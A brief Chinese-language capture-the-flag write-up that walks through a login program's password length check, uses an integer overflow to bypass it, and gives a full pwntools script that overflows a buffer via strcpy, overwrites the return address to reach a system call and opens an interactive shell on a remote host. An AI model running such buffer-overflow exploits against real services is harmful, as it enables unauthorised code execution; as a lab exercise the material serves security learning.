先理清一下思路
首先选择1或2,选1登陆。
登陆函数中,首先输入名字。
然后输入密码。
返回到密码检查函数,检查密码的长度,不在(4,8)内直接退出。
在这个范围内,使用了strcpy函数赋值密码到dest,然后返回。
发现源码中有直接调用system的函数,但程序本身没有调用。
利用整型溢出,我们可以使得read读入长度为(260,264)
from pwn import *
p=remote("111.200.241.243",54053)
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("your username:\n")
p.sendline("picpo")
p.recvuntil("your passwd:\n")
payload = b'a' * 0x18 + p32(0x804868B) + b'a' * 232 //232=260-24-4
p.sendline(payload)
p.interactive()